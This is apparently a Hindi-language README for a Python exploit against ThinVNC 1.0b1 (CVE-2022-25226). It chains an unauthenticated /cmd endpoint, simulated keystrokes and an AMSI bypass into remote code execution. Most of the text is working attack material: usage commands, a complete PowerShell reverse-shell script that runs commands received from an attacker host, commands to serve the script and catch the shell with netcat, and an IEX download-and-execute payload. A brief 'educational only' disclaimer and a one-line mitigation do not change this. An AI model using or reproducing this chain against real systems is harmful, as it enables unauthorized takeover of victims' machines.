
# ThinVNC 1.0b1 प्रमाणीकरण बाईपास (CVE-2022-25226) के लिए Python शोषण स्क्रिप्ट यह स्क्रिप्ट ThinVNC 1.0b1 में प्रमाणीकरण बाईपास का फायदा उठाती है, जो बिना प्रमाणीकरण के `/cmd` एंडपॉइंट एक्सेस को AMSI बाईपास और क्लिपबोर्ड इंजेक्शन के साथ जोड़कर रिवर्स शेल प्रदान करती है।
लेखक: krill-x7
संदर्भ: https://fluidattacks.com/advisories/sinatra
ThinVNC 1.0b1 में एक प्रमाणीकरण बाइपास भेद्यता (CVE-2022-25226) मौजूद है जो रिमोट हमलावरों को बिना प्रमाणीकरण के बैकएंड के साथ इंटरैक्ट करने की अनुमति देती है। एक्सपोज़्ड /cmd एंडपॉइंट्स का लाभ उठाकर, हमलावर कीस्ट्रोक्स का अनुकरण कर सकते हैं, PowerShell खोल सकते हैं, AMSI को बाइपास कर सकते हैं, और मनमाने कमांड निष्पादित कर सकते हैं—जो अंततः रिमोट कोड एक्ज़ीक्यूशन (RCE) की ओर ले जाता है।
यह स्क्रिप्ट उन प्राइमिटिव्स को जोड़कर लक्षित सिस्टम पर रिवर्स शेल प्राप्त करती है।
यह कोड केवल शैक्षिक उद्देश्यों के लिए प्रदान किया गया है।
इसे केवल उन सिस्टम्स पर उपयोग करें जिनके आप स्वामी हैं या जिन्हें परीक्षण करने के लिए आपको स्पष्ट रूप से अधिकृत किया गया है।
rev.ps1 रिवर्स शेल स्क्रिप्टpython3 thinvnc_rce.py -t <TARGET_IP> -tp <TARGET_PORT> -a <ATTACKER_IP> -ap <ATTACKER_PORT>
python3 thinvnc_rce.py -t 192.168.1.100 -tp 8080 -a 192.168.1.200 -ap 8000
rev.ps1 बनाएँइसे rev.ps1 नामक फ़ाइल में सहेजें।
महत्वपूर्ण: 192.168.1.200 और 8000 को अपने हमलावर के IP और लिसनिंग पोर्ट से बदलें।
$client = New-Object System.Net.Sockets.TCPClient("192.168.1.200",8000);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
}
$client.Close()
rev.ps1 होस्ट करेंउसी डायरेक्टरी से:
python3 -m http.server 8000
nc -lvnp 8000
/cmd?cmd=connect पर बिना प्रमाणीकरण के अनुरोध भेजकर एक वैध SID प्राप्त करें।/cmd?cmd=start के माध्यम से उस SID को कीबोर्ड/माउस एक्सेस के साथ शुरू करें।Ctrl+Esc की कॉम्बिनेशन भेजें।यह वह पेलोड है जो मेमोरी में निष्पादित होता है:
IEX((New-Object System.Net.WebClient).DownloadString('http://<ATTACKER_IP>:<PORT>/rev.ps1'))
<ATTACKER_IP> और <PORT> को अपने वास्तविक IP और पोर्ट से बदलें।
/cmd एंडपॉइंट को ब्लॉक करें।